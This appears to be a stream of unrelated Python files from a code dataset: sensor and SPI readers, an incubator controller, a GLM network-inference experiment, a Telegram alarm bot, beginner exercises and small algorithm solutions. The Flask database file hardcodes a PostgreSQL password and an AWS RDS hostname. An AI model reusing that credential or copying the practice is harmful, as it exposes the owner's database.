current_ls = []\n counter = 0\n while counter < len(user_data_list):\n sequence, counter = get_the_sequence(user_data_list, counter)\n if sequence is not None:\n if counter < len(user_data_list) and \"event\" in user_data_list[counter] and user_data_list[counter][\n \"event\"] == ADDED_TO_CART_EVENT():\n user_data = user_data_list[counter]\n product_id = user_data[\"properties\"][\"product_id\"]\n product_type = user_data[\"properties\"][\"product_type\"]\n sequence.append(Product(product_id, product_type, True))\n counter += 1\n sequence = tuple(sequence)\n\n frequency_mapping[sequence] = frequency_mapping.get(sequence, 0) + 1\n counter = skip_the_sequence(user_data_list, counter)\n\nwrite_file = open('result.txt', 'w')\n\nfor key, val in frequency_mapping.items():\n ls = []\n for i in range(len(key)):\n ls.append(str(key[i]))\n if i != len(key) - 1:\n ls.append('->')\n write_file.write(' '.join(ls) + ' : ' + str(val) + '\\n')\n\nwrite_file.close()\n","sub_path":"frequency_mapping.py","file_name":"frequency_mapping.py","file_ext":"py","file_size_in_byte":3473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"603425949","text":"#!/usr/bin/env python3\n\nimport time\nimport spidev\nimport numpy as np\nimport subprocess\nimport collections\n\ncommands = {\"Start_recording\" : 0x9F, \"Get_acceleration_data\" : 0x6A, \"Get_distance_data\" : 0x73}\nack = 0x54\ndat = [0x10,0x20,0x30,0x40]\n\n\nclass CaptureData():\n\tdef __init__(self):\n\t\tself.old_tof = collections.deque([0],maxlen=5)\n\t\ttry:\n\t\t\tself.reset()\n\t\t\tself.spi = Spi_Reader(baud_rate_prescaler_power = 6, spi_mode = 0b01)\n\t\t\tself.spi.open_connection()\n\t\t\tself.res = self.Start_recording(1000)\n\t\texcept:\n\t\t\tprint(\"spi failure, trying again...\")\n\t\t\tpass\n\n\tdef __call__(self):\n\t\tt1 = time.time()\n\t\tif self.res:\n\t\t\tacc = self.processAcc(self.Get_acceleration_data())\n\t\t\tdst = self.processTof(self.Get_distance_data())\n\t\t\tif acc == None:\n\t\t\t\treturn None\n\t\t\telse:\n\t\t\t\tsize = len(acc)\n\t\t\t\tt2 = t1 + ((size-3)/(3200.0*3.0))\n\t\t\t\tpkg = {'t1':t1, 't2': t2, 'acc':acc, 'dist': dst}\n\t\t\t\treturn pkg\n\t\telse:\n\t\t\treturn None\n\t\t\t\n\tdef reset(self):\n\t\tsubprocess.call(\"sudo /home/pi/hub-ctrl -h 0 -P 2 -p 0\",shell=True)\n\t\ttime.sleep(0.5)\n\t\tsubprocess.call(\"sudo /home/pi/hub-ctrl -h 0 -P 2 -p 1\",shell=True)\n\t\ttime.sleep(0.3)\n\n\tdef processAcc(self,acc):\n\t\tif len(acc) < 1:\n\t\t\tacc = None\n\t\telif max(acc)>1000 or min(acc)<-1000:\n\t\t\tacc = None\n\t\treturn acc\n\n\tdef processTof(self, tof):\n\t\tif len(tof) < 1:\n\t\t\tdst = 0\n\t\telse:\n\t\t\tdst_ = tof[0] + 256*tof[1]\n\t\t\tif dst_>2000 or dst_<30:\n\t\t\t\tdst = self.old_tof[-1]\n\t\t\telse:\n\t\t\t\tdst = dst_\n\t\t\t\tself.old_tof.append(dst)\n\t\treturn dst\n\n\n\tdef Start_recording(self,attempts):\n\t\twhile True:\n\t\t\ta = self.spi.xfer_data([commands[\"Start_recording\"]])\n\t\t\tif (a[0] == ack):\n\t\t\t\treturn True\n\t\t\telse:\n\t\t\t\tattempts-=1\n\t\t\t\tif attempts is 0:\n\t\t\t\t\treturn False\n\n\tdef Get_acceleration_data(self):\n\t\tattempt = 0\n\t\twhile True:\n\t\t\tattempt+=1\n\t\t\ta = self.spi.xfer_data([commands[\"Get_acceleration_data\"]])\n\t\t\tif (a[0]== ack):\n\t\t\t\tbreak\n\t\t\tif attempt > 1000:\n\t\t\t\treturn []\n\t\ttime.sleep(0.001)\n\t\tvalues = 0; attempt = 0\n\t\twhile True:\n\t\t\tval = self.spi.xfer_data([0x00, 0x00, ack])\n\t\t\tif val[2] == commands[\"Get_acceleration_data\"]+1:\n\t\t\t\tbreak\n\t\t\tif attempt > 1000:\n\t\t\t\tattempt +=1\n\t\t\t\treturn []\n\t\t\t\n\t\tvalues = val[1] * 256 + val[0]\n\t\trows = values//6\n\t\tdat = []\n\t\tfor _ in range(rows):\n\t\t\tdat += self.spi.read_data(6)\n\t\tself.spi.read_data(values % 6)\n\n\t\treturn self.concatSigned(dat)\n\n\tdef Get_distance_data(self):\n\t\tattempt = 0\n\t\twhile True:\t\t\t\n\t\t\ta = self.spi.xfer_data([commands[\"Get_distance_data\"]])\n\t\t\tif (a[0]== ack):\n\t\t\t\tbreak\n\t\t\tif attempt > 1000:\n\t\t\t\tattempt+=1\n\t\t\t\treturn []\n\t\ttime.sleep(0.001)\n\t\tvalues = 0;\tattempt = 0\n\t\twhile True:\n\t\t\tval = self.spi.xfer_data([0x00, 0x00, ack])\n\t\t\tif val[2] == commands[\"Get_distance_data\"]+1:\n\t\t\t\tbreak\n\t\t\tif attempt > 1000:\n\t\t\t\tattempt+=1\n\t\t\t\treturn []\n\n\t\tvalues = val[1] * 256 + val[0]\n\t\tdat = []\n\t\tfor _ in range(values):\n\t\t\tdat += self.spi.read_data(1)\n\t\treturn dat\n\t\t\n\tdef concatSigned(self, data):\n\n\t\tdata_high \t= \t[i << 8 for i in data[1::2]]\n\t\tdata_low \t= \tdata[::2]\n\t\t# sum the lower and upper bits\n\t\tdata_aligned \t= \t[sum(x) for x in zip(data_high, data_low)]\n\t\tmask = 1 << 15\n\n\t\tfor i in range(len(data_aligned)):\n\t\t\t# Check if it should be a negative number\n\t\t\tval = - (mask & data_aligned[i])\n\t\t\t# add the absolut value\n\t\t\tval += (data_aligned[i] & ~mask)\n\t\t\tdata_aligned[i] = val\n\n\t\treturn data_aligned\n\n# baud_rate_prescaler_power (b) => spi rate of 250MHz / 2^b\nclass Spi_Reader:\n\tbase_spi_speed = 250000000\n\t# the device sends data in size of 16bits\n\t# Assumes it is 2 for now,\n\tbits_per_word = 1\n\n\t# Number of sensor axis\n\tnumber_of_axis = 3\n\n\t# Magic Offset\n\t# Think it\n\tmagic_offset = 8\n\n\tdef __init__(self, baud_rate_prescaler_power = 8, spi_bus = 0, spi_device = 0, DEBUG = False, spi_mode = 0b01):\n\t\tself.spi_speed = self.base_spi_speed/(2**baud_rate_prescaler_power)\n\t\tself.bus = spi_bus\n\t\tself.device = spi_device\n\t\tself.debug = DEBUG\n\t\tself.spi_mode = spi_mode\n\n\n\tdef open_connection(self):\n\t\tself.spi = spidev.SpiDev()\n\t\tself.spi.open(self.bus, self.device)\n\t\tself.spi.max_speed_hz = int(self.spi_speed)\n\t\tself.spi.mode = self.spi_mode\n\t\n\tdef send_data(self, byte):\n\t\tself.spi.writebytes([byte])\n\n\tdef read_data(self, n_bytes):\n\t\treturn self.spi.readbytes(n_bytes)\n\n\tdef xfer_data(self, send):\n\t\treturn self.spi.xfer2(send)\n\n\t# Careful with this\n\t# Currently reads data until it recieves what it wants\n\t# returns list of data in form of [x1,y1,z1, x2,y2,z2, ....]\n\tdef read_data_chunk(self):\n\t\twhile True:\n\t\t\tmeta_data = self.spi.readbytes(self.bits_per_word)\n\t\t\tif meta_data[0] == 85 and meta_data[1] == 85:\n\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\tnumber_of_data_entries = meta_data[0]*255 + meta_data[1]\n\t\t\t\tif self.debug:\n\t\t\t\t\tprint(\"data size: %s\" % number_of_data_entries)\n\t\t\t\tbreak\n\t\tdata = self.spi.readbytes(number_of_data_entries* self.bits_per_word* self.number_of_axis+self.magic_offset)\n\t\t# data = data[self.magic_offset:]\n\t\t# multiply the upper bits by 2**8 = 256\n\t\tdata_high \t= \t[i << 8 for i in data[::2]]\n\t\tdata_low \t= \tdata[1::2]\n\t\t# sum the lower and upper bits\n\t\tdata_aligned \t= \t[sum(x) for x in zip(data_high, data_low)]\n\n\t\t# unsigned to signed integer converison\n\n\t\t# one in msb\n\t\tmask = 1 << 15\n\n\t\tfor i in range(len(data_aligned)):\n\t\t\t# Check if it should be a negative number\n\t\t\tval = - (mask & data_aligned[i])\n\t\t\t# add the absolut value\n\t\t\tval += (data_aligned[i] & ~mask)\n\t\t\tdata_aligned[i] = val\n\t\tif self.debug:\n\t\t\tprint(data_aligned)\n\t\treturn data_aligned\n\tdef Check_if_garbage(self, data):\n\t\tif len(data) == 0:\n\t\t\treturn True\n\t\tif data.count(0) > (len(data)/4*3):\n\t\t\treturn True\n\t\treturn False\n","sub_path":"src/data_aquisition_module/utilities/spi_reader.py","file_name":"spi_reader.py","file_ext":"py","file_size_in_byte":5496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"369124280","text":"import getopt, sys\nimport time\nimport datetime\nimport sys, os\nimport RPi.GPIO as GPIO\nfrom .switch_control import switch_send_signal\nfrom .thermometer import get_temperature\nfrom .BoundedSamplesSeries import *\nimport numpy as np\n\nlog_file_name = 'rasp-pi-incubator/logs/incubator_log.log'\nMIN_LAST_SAMPLES_KEPT = 4\nDEFAULT_TOLERANCE = 0.1\nDEFAULT_TARGET_TEMERATURE = 33\n\nclass Incubator:\n def __init__(self, target_temp=36, tolerance=2., measure_interval=10, way_too_high_temp=50,\n tolerance_multiplier=2):\n self.on_switch = 16\n self.off_switch = 18\n self.target = target_temp\n self.tol = tolerance\n self.way_too_high_temp = way_too_high_temp\n self.is_heater_on = False\n self.measure_interval = measure_interval\n self.tolerance_multiplier = tolerance_multiplier\n\n # the list should keep samples from the last 30 seconds (or at least 5 last samples)\n self.last_samples_list = BoundedSamplesSeries(max(MIN_LAST_SAMPLES_KEPT, 30.0 / self.measure_interval))\n GPIO.setmode(GPIO.BOARD)\n GPIO.setup(self.on_switch, GPIO.OUT)\n GPIO.setup(self.off_switch, GPIO.OUT)\n\n def start_incubating(self):\n while True:\n temperature = get_temperature()\n self.last_samples_list.add(temperature)\n if temperature > self.way_too_high_temp:\n raise ValueError('Waaaaay to high temperature: ' + str(self.way_too_high_temp) + '. '\n 'Closing everything')\n if temperature < self.target - self.tol and not self.is_heater_on:\n self.start_heating(temperature)\n elif temperature > self.target + self.tol and self.is_heater_on:\n self.stop_heating(temperature)\n elif temperature < self.target - self.tolerance_multiplier * self.tol and self.last_samples_list.temperature_decreasing():\n self.log('Must heat')\n self.start_heating(temperature)\n elif temperature > self.target + self.tolerance_multiplier * self.tol and self.last_samples_list.temperature_increasing():\n self.log('Must stop heating')\n self.stop_heating(temperature)\n else: \n print(\"doing nothing (\" + str(temperature) + \")\")\n\n time.sleep(self.measure_interval)\n\n def start_heating(self, temperature):\n self.log(\"start heating (\" + str(temperature) + \")\")\n switch_send_signal(self.on_switch, 1)\n self.is_heater_on = True\n\n def stop_heating(self, temperature):\n self.log(\"stop heating (\" + str(temperature) + \")\")\n switch_send_signal(self.off_switch, 1)\n self.is_heater_on = False\n\n\n @staticmethod\n def log(log_str):\n log_str = str(datetime.datetime.now()) + ' ' + log_str\n with open(log_file_name, \"aw+\") as f:\n print(log_str)\n line = str(log_str) + \"\\n\"\n f.write(line)\n\n\ndef main(argv):\n try:\n\n target_temp, tolerance = get_target_temp_and_tolerance(argv)\n incubator = Incubator(tolerance=tolerance, target_temp=target_temp, measure_interval=90) \n incubator.start_incubating()\n except Exception as e:\n handle_exception(e)\n finally:\n temperature = get_temperature()\n incubator.stop_heating(temperature) # just in case\n time.sleep(2)\n incubator.stop_heating(temperature) # second just in case\n switch_send_signal(incubator.off_switch, 1)\n GPIO.cleanup()\n time.sleep(1)\n GPIO.cleanup()\n incubator.log(\"See you next time!\")\n\n\ndef handle_exception(e):\n exc_type, exc_obj, exc_tb = sys.exc_info()\n fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]\n Incubator.log('%s %s %d' % (exc_type, fname, exc_tb.tb_lineno))\n Incubator.log(str(e))\n\n\ndef get_target_temp_and_tolerance(argv):\n tolerance = DEFAULT_TOLERANCE\n target_temp = DEFAULT_TARGET_TEMERATURE\n opts, args = getopt.getopt(argv, \"tar:tol:\", [\"target_temp=\", \"tolerance=\"])\n for opt, arg in opts:\n print(opt, arg)\n if opt in ('-tar', '--target_temp'):\n target_temp = np.float(arg)\n elif opt in ('tol', '--tolerance'):\n tolerance = np.float(arg)\n\n print('Using target temperature %f and tolerance %f' % (target_temp, tolerance)) \n return target_temp, tolerance\n\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n","sub_path":"incubator.py","file_name":"incubator.py","file_ext":"py","file_size_in_byte":4524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"495466960","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Oct 7 00:20:27 2021\r\n\r\n@author: kevin\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport scipy as sp\r\nimport matplotlib.pyplot as plt\r\nfrom matplotlib.pyplot import cm\r\nfrom scipy.optimize import curve_fit\r\nfrom scipy.optimize import minimize\r\nfrom scipy.special import gammaln\r\nimport sklearn\r\nfrom sklearn.metrics import r2_score\r\nimport scipy.spatial as sps\r\n\r\nimport seaborn as sns\r\ncolor_names = [\"windows blue\", \"red\", \"amber\", \"faded green\"]\r\ncolors = sns.xkcd_palette(color_names)\r\nsns.set_style(\"white\")\r\nsns.set_context(\"talk\")\r\n\r\nimport matplotlib \r\nmatplotlib.rc('xtick', labelsize=60) \r\nmatplotlib.rc('ytick', labelsize=60) \r\n\r\n# %% functions\r\ndef NL(x, lamb0, dt):\r\n x = lamb0*x\r\n# x[x<0] = 0 #ReLU\r\n# x = np.exp(x) #exp\r\n x = 1/gain*np.log(1+np.exp(gain*x)) #soft rectification\r\n# x = lamb0/(1+np.exp(-x)) #sigmoid\r\n return x\r\n\r\ndef spiking(x, dt):\r\n spike = np.random.poisson(x*dt)\r\n return spike\r\n\r\ndef negLL(ww, S, spk, b, dt, f=np.exp, Cinv=None):\r\n# # if no prior given, set it to zeros\r\n# if Cinv is None:\r\n# Cinv = np.zeros([np.shape(w)[0],np.shape(w)[0]])\r\n N = S.shape[0]\r\n W = ww.reshape(N,N)\r\n # evaluate log likelihood and gradient\r\n ll = np.sum(spk * np.log(f(W @ S + b)) - f(W @ S +b)*dt) # - sp.special.gammaln(S+1) + S*np.log(dt))\r\n return -ll\r\n\r\ndef generative_GLM(w_map, bt, dt):\r\n N, lt = bt.shape[0], bt.shape[1]\r\n Wij = w_map.reshape(N,N)\r\n rt, spk, st = np.zeros((N,lt)), np.zeros((N,lt)), np.zeros((N,lt))\r\n for tt in range(lt-1):\r\n temp = NL(rt[:,tt], lamb0, dt)\r\n spk[:,tt] = spiking(temp, dt)\r\n st[:,tt+1] = st[:,tt]*(1-dt/tau) + spk[:,tt]\r\n rt[:,tt+1] = Wij @ st[:,tt] + bt[:,tt]\r\n return spk, st, rt\r\n\r\ndef infer_error(W,W_):\r\n# rescale = W.sum(1)/W_.sum(1)\r\n w_ = W_#*rescale\r\n delt = np.linalg.norm(W-w_)/np.linalg.norm(W)\r\n return delt.sum()\r\n\r\n# %% Neural dynamics\r\nN = 10\r\nT = 300\r\ndt = .1\r\ntime = np.arange(0,T,dt)\r\nlt = len(time)\r\nr = 1.5 #recurrent strength\r\ntau = 1 #time scale of spike filter\r\nlamb0 = 1 #maximum Poisson firing (corresponding to 1 spik per 1ms given dt=0.1), or gain for exp()\r\ngain = 0.5\r\neps = .1 #noise strength of input\r\nA = 2. #input strength\r\n### tructured network\r\nuu,ss,vv = np.linalg.svd(np.random.randn(N,N))\r\nv1, v2, v3, v4, v5 = uu[:,0], uu[:,1], uu[:,2], uu[:,3], uu[:,4] #orthonormal vectors\r\n#v2 = 1*(0.5*uu[:,0] + 0.5*uu[:,1])\r\n#v1, v2 = np.random.randn(N), np.random.randn(N)\r\nWij = r*(np.random.randn(N,N)/np.sqrt(N)) + 1*(np.outer(v1,v2)/N + 0*np.outer(v4,v5)/N)\r\n#+ np.outer(v2,v2)) #low-rank\r\n### random network\r\n#Wij = r*np.random.randn(N,N)/np.sqrt(N)\r\n#Wij = Wij @ Wij #symmetry\r\n\r\n### time-dependent input\r\nsignal = np.sin(time/20)*1.\r\nbt_ = signal*np.ones((N,lt))*A + np.random.randn(N,lt)*eps ### input/perturbation protocol added later\r\n\r\n# %%\r\nbb = 0.5*(v3)*1\r\nbt = bt_ * bb[:,None]*1\r\n\r\n### dynamics\r\nrt, spk, st = np.zeros((N,lt)), np.zeros((N,lt)), np.zeros((N,lt))\r\nfor tt in range(lt-1):\r\n temp = NL(rt[:,tt], lamb0, dt)\r\n spk[:,tt] = spiking(temp, dt) #Poisson spikes\r\n st[:,tt+1] = st[:,tt]*(1-dt/tau) + spk[:,tt] #spike filtering\r\n rt[:,tt+1] = Wij @ st[:,tt] + bt[:,tt] #RNN dynamics\r\n\r\n# %%\r\nplt.figure()\r\nplt.imshow(st,aspect='auto')\r\n\r\n# %% test with MLE\r\nrr = st.copy()\r\nJr = 1/N*np.cov(rr)\r\n#Cw = r/np.sqrt(N)*np.random.randn(N,N) #\r\nCw = Wij.T @ Wij\r\ndelta_r = 1/np.sqrt(N)*(rr*rt - rt*spk*(Wij @ rr)*dt) @ rr.T\r\nw_ole = np.linalg.inv(Jr + np.linalg.inv(Cw)) @ delta_r\r\n\r\nplt.figure()\r\nplt.plot(Wij.reshape(-1), w_ole.reshape(-1),'o')\r\n\r\n# %%\r\n###############################################################################\r\n# %% Inference process\r\n# %%\r\ndd = N*N\r\nw_init = np.zeros([dd,]) #Wij.reshape(-1)#\r\nres = sp.optimize.minimize(lambda w: negLL(w, st,spk,bt,dt,np.exp),w_init,method='L-BFGS-B',tol=1e-4)\r\nw_map = res.x\r\nprint(res.success)\r\n\r\n# %%\r\nplt.figure()\r\nplt.plot(Wij.reshape(-1), w_map,'o')\r\nplt.xlabel(r'$W_{ture}$',fontsize=45)\r\nplt.ylabel(r'$W_{inferred}$',fontsize=45)\r\n#plt.axis('equal')\r\nlower = np.min(Wij)\r\nupper = np.max(Wij)\r\nplt.plot([lower, upper], [lower, upper], 'r--')\r\nprint('Corr:', np.corrcoef(Wij.reshape(-1),w_map)[0,1])\r\nprint('R2:', r2_score(Wij.reshape(-1), w_map))\r\nprint('Cosine:', np.sum(sklearn.metrics.pairwise.cosine_similarity(Wij, w_map.reshape(N,N))))\r\nprint('delta:', infer_error(Wij,w_map.reshape(N,N)))\r\n\r\n# %% evaluate Hessian\r\nHess = res.hess_inv.todense()\r\nu_,s_,v_ = np.linalg.svd(Hess)\r\neih = s_**-1\r\n#eih /= max(eih)\r\nplt.figure()\r\nplt.semilogy(eih,'-o')\r\n\r\n# %%\r\n###############################################################################\r\n# %% scan over different structure strength vs. low-rank angle\r\nreps = 10\r\ndels = np.zeros((5,reps)) #three input vectors by repeats\r\ncors = np.zeros((5,reps))\r\ndd = N*N\r\nfor rr in range(reps):\r\n for vv in range(5):\r\n if vv<3:\r\n B = bt_*uu[:,vv][:,None] #projection onto three basis\r\n elif vv==4:\r\n B = bt_.copy()/np.linalg.norm(np.ones(N))*A #without projection\r\n elif vv==3:\r\n B = np.ones((N,lt))*0#np.random.randn(N,lt)*0#np.zeros_like(bt_)+1 #no input\r\n spk,st,_ = generative_GLM(Wij, B, dt)\r\n w_init = np.zeros([dd,]) #Wij.reshape(-1)#\r\n res = sp.optimize.minimize(lambda w: negLL(w, st,spk,B,dt,np.exp),w_init,method='L-BFGS-B',tol=1e-4)\r\n w_map = res.x\r\n \r\n dels[vv,rr] = infer_error(Wij, w_map.reshape(N,N))\r\n cors[vv,rr] = np.corrcoef(Wij. reshape(-1),w_map)[0,1]\r\n print(rr)\r\n\r\n# %%\r\ny = dels\r\nplt.figure()\r\nx = np.array([0,1,2,3,4])\r\nplt.plot(x,y,'-o')\r\nmy_xticks = ['m','n','orthogonal','unit','w/o']\r\nplt.xticks(x,my_xticks)\r\nplt.ylabel('MSE',fontsize=50)\r\n#plt.ylabel(r'$corr(W_{true},W_{inferr})$',fontsize=50)\r\nplt.xlabel('input projection',fontsize=50)\r\nplt.legend()\r\n\r\n# %%\r\nplt.figure()\r\nplt.bar(x, np.mean(y,1))\r\ncc = np.std(y,1)\r\nplt.errorbar(x, np.mean(y,1), yerr=cc, fmt=\"o\", color=\"grey\", linewidth=8)\r\nmy_xticks = ['m','n','orthogonal','unit','w/o']\r\nplt.xticks(x, my_xticks)\r\nplt.ylabel(r'MSE($J_{inf},J_{true}$)',fontsize=60)\r\n#plt.xlabel('input projection',fontsize=50)\r\nplt.ylim([0.6,.8])\r\n\r\n# %%\r\n###############################################################################\r\n# %%\r\n###############################################################################\r\n# %% debugging\r\n#def negLL_test(ww, S):\r\n# N = S.shape[0]\r\n# W = ww.reshape(N,N)\r\n# # evaluate log likelihood and gradient\r\n# ll = np.sum(pp * (W @ S) - np.exp(W @ S))\r\n# return -ll\r\n#\r\n#ww = np.random.randn(5,5)\r\n#ss = np.random.randn(5,100)\r\n#gg = ww @ ss\r\n#pp = np.random.poisson(np.exp(gg))\r\n#res = sp.optimize.minimize(lambda w: negLL_test(w,ss),np.zeros([25,]),method='L-BFGS-B',tol=1e-8)\r\n#w_map = res.x\r\n#print(res.success)\r\n#plt.figure()\r\n#plt.plot(ww.reshape(-1), w_map,'o')\r\n","sub_path":"GLMnet/DasFieter_glm.py","file_name":"DasFieter_glm.py","file_ext":"py","file_size_in_byte":6899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"291714813","text":"from flask import Flask, url_for\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_cors import CORS, cross_origin\n\napp = Flask(\n __name__,\n static_folder=\"../frontend/build/static\",\n template_folder=\"../frontend/build\",\n)\n\ncors = CORS(app)\n\napp.config[\"SQLALCHEMY_DATABASE_URI\"] = (\n \"postgresql://postgres:iloveocean\"\n + \"@conservoceandb.c5r36pk562sk.us-east-2.rds.amazonaws\"\n + \".com:5432/conservocean\"\n)\napp.config[\"SQLALCHEMY_TRACK_MODIFICATIONS\"] = False\ndb = SQLAlchemy(app)\n\n# Link table for maintaining relationships between models\nlink = db.Table(\n \"links\",\n db.Column(\"fish_id\", db.Integer, db.ForeignKey(\"fish.id\")),\n db.Column(\"water_id\", db.Integer, db.ForeignKey(\"bodies_of_water.id\")),\n db.Column(\"human_id\", db.Integer, db.ForeignKey(\"human_impact.id\")),\n)\n\n\nif __name__ == \"__main__\":\n db.create_all()\n","sub_path":"backend/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"217910198","text":"#1. Даны 2 строки long_phrase и short_phrase. Напишите ко��, который проверяет действительно ли длинная фраза \r\n# long_phrase длиннее короткой short_phrase. И выводит True или False в зависимости от результата сравнения.\r\n\r\nlong_phrase = 'Насколько проще было бы писать программы, если бы не заказчики' \r\nshort_phrase = '640Кб должно хватить для любых задач. Билл Гейтс (по легенде)' \r\nprint(len(long_phrase) > len(short_phrase))\r\n\r\n\r\n#2. Дана строка text. Определите какая из двух букв встречается в нем чаще - 'а' или 'и'.\r\n# text = 'Если программист в 9-00 утра на работе, значит, он там и ночевал'\r\n\r\ntext = 'Если программист в 9-00 утра на работе, значит, он там и ночевал'\r\na_symbol = text.count('а')\r\nb_symbol = text.count('и')\r\nprint(a_symbol)\r\nprint(b_symbol)\r\nprint(a_symbol > b_symbol)\r\n\r\n\r\n#3. Дано значение объема файла в байтах. Напишите перевод этого значения в мегабайты в формате:\r\n# 'Объем файла равен 213.68Mb'\r\n\r\nbyte_number = 17353784\r\nkb_number = byte_number/1024\r\nmb_number = kb_number/1024\r\nprint('Объем файла равен ' + str(round(mb_number, 2)) + 'Мb')\r\n\r\n\r\n#4. Выведите на экран значение синуса 30 градусов с помощью метода math.sin.\r\n\r\nimport math\r\nsinus = math.radians(30)\r\nprint(round(math.sin(sinus), 3))\r\n\r\n\r\n#5. В прошлом задании у вас скорее всего не получилось точного значения 0.5 из-за конечной точности вычисления синуса. \r\n# Но почему некоторые простые операции также могут давать неточный результат? Попробуйте вывести на экран результат \r\n# операции 0.1 + 0.2. Почему результат неточен?\r\n\r\nprint(0.1 + 0.2)\r\n# Ответ: Потому что Python выводит только десятичное приближение настоящего десятичного значения от двоичного приближения, \r\n# хранимого на компьютере.\r\n\r\n\r\n#6.В переменных a и b записаны 2 различных числа. Вам необходимо написать код, который меняет значения a и b местами без \r\n# использования третьей переменной.\r\n\r\n\r\na = 2\r\nb = 4\r\na = a + b\r\nb = a - b\r\na = a - b\r\nprint(a)\r\nprint(b)\r\n\r\n# или\r\n\r\nc = 5\r\nd = 7\r\nc, d = d, c \r\nprint(c)\r\nprint(d)\r\n\r\n\r\n#7. Дано число в двоичной системе счисления: num=10011. Напишите алгоритм перевода этого числа в привычную нам десятичную \r\n# систему счисления.Возможно, вам понадобится цикл прохождения всех целых чисел от 0 до m: for n in range(m)\r\n\r\nnum = 10011\r\nnum = str(num)\r\nprint(int(num, 2))\r\n\r\n\r\n\r\n","sub_path":"Netology.py","file_name":"Netology.py","file_ext":"py","file_size_in_byte":3449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"138364161","text":"import json\nimport logging\nimport time\n\nfrom telegram.ext import Updater, CommandHandler, Job\nfrom ttn import MQTTClient\nfrom app_keys import apps, telegram_token\nimport boto3\n\n\nclass Alarmer(object):\n mqtt_clients = {}\n\n def __init__(self, settings, sns, bot):\n self._bot = bot\n self._sns = sns\n self._initialised = False\n self._logger = logging.getLogger(\"lka.alarmer\")\n for name, app in settings.items():\n username = name\n password = app['ttn']['app_key']\n host = app['ttn']['host']\n secure = 'secure' in app['ttn'] and app['ttn']['secure']\n self._logger.debug(\"Initiating connection to {0} as {1}\".format(host, username))\n self.mqtt_clients[username] = MQTTClient(host=host, client_id=username,\n username=username, password=password,\n userdata=app,\n cert='ttn_cert.pem' if secure else None)\n self.mqtt_clients[username].on_event = self.on_ttn\n self._logger.info(\"Activated {0}\".format(username))\n self._initialised = True\n\n def on_ttn(self, msg, userdata):\n payload = json.loads(msg.payload.decode('utf-8'))\n if not self._initialised:\n self._logger.error(\"Not initialised, skipping {0!s}\".format(payload))\n return\n\n if 'sms' in userdata:\n for name, number in userdata['sms'].items():\n self._logger.info(\"SMS Alarm from {0!s} sent to {1!s} ({2!s})\".format(payload['dev_id'], name, number))\n msg = \"Your keyfob alarm was activated by device {0!s}\".format(payload['dev_id'])\n self._sns.publish(PhoneNumber=number, Message=msg)\n self._logger.info(\"SMS Sent to {0!s} ({1!s})\".format(name, number))\n\n if 'telegram' in userdata:\n for name, number in userdata['telegram'].items():\n self._logger.info(\"Telegram Alarm from {0!s} sent to {1!s} ({2!s})\".format(payload['dev_id'], name, number))\n msg = \"Your keyfob alarm was activated by device {0!s}\".format(payload['dev_id'])\n self._bot.send_message(number, text=msg)\n self._logger.info(\"Telegram Sent to {0!s} ({1!s})\".format(name, number))\n\n\ndef run():\n logging.basicConfig()\n logger = logging.getLogger('lka')\n logging.getLogger('').setLevel(logging.DEBUG)\n\n def error(bot, update, error):\n logger.warning('Update \"%s\" caused error \"%s\"' % (update, error))\n\n logger.debug(\"Initialising connection to Amazon SMS\")\n sns = boto3.client('sns')\n\n logger.info(\"Initialising Telegram bot\")\n updater = Updater(telegram_token)\n dp = updater.dispatcher\n dp.add_error_handler(error)\n dp.add_handler(CommandHandler(\"id\",\n lambda bot, update: update.message.reply_text(text=\"{0!s}\".format(update.message.chat_id))))\n updater.start_polling()\n\n logger.debug(\"Initialising app connections\")\n try:\n a = Alarmer(apps, sns, updater.bot)\n except Exception as error:\n print(error)\n raise error\n\n logger.debug(\"Running\")\n updater.idle()\n\n\nif __name__ == '__main__':\n run()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"87612282","text":"from typing import Tuple\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n def isBalanced(self, root: TreeNode) -> bool:\n if root is None:\n return True\n \n height, is_balanced = self.recurse(root)\n return is_balanced\n \n \n def recurse(self, root: TreeNode) -> Tuple[int, bool]:\n if root is None:\n return 0, True\n \n if root.left is None and root.right is None:\n return 1, True\n \n left_height, left_is_balanced = self.recurse(root.left)\n right_height, right_is_balanced = self.recurse(root.right)\n \n is_balanced = left_is_balanced and right_is_balanced and abs(left_height - right_height) <= 1\n \n height = 1 + max(left_height, right_height)\n \n return (height, is_balanced)\n \n","sub_path":"0110_Balanced_Binary_Tree.py","file_name":"0110_Balanced_Binary_Tree.py","file_ext":"py","file_size_in_byte":970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"67745605","text":"# import gym\nimport random\nimport numpy as np\n\n\nclass GriDMdp:\n def __init__(s):\n s.gamma = 0.9\n s.epsilon = 0.1\n s.states = range(1, 26)\n s.actions = ['n', 'e', 's', 'w']\n s.terminate_states = {15: 1.0, 4: -1.0, 9: -1.0, \\\n 11: -1.0, 12: -1.0, 23: -1.0, 24: -1.0, 25: -1.0}\n s.trans = {}\n for state in s.states:\n if not state in s.terminate_states:\n s.trans[state] = {}\n s.trans[1]['e'] = 2\n s.trans[1]['s'] = 6\n s.trans[2]['e'] = 3\n s.trans[2]['w'] = 1\n s.trans[2]['s'] = 7\n s.trans[3]['e'] = 4\n s.trans[3]['w'] = 2\n s.trans[3]['s'] = 8\n s.trans[5]['w'] = 4\n 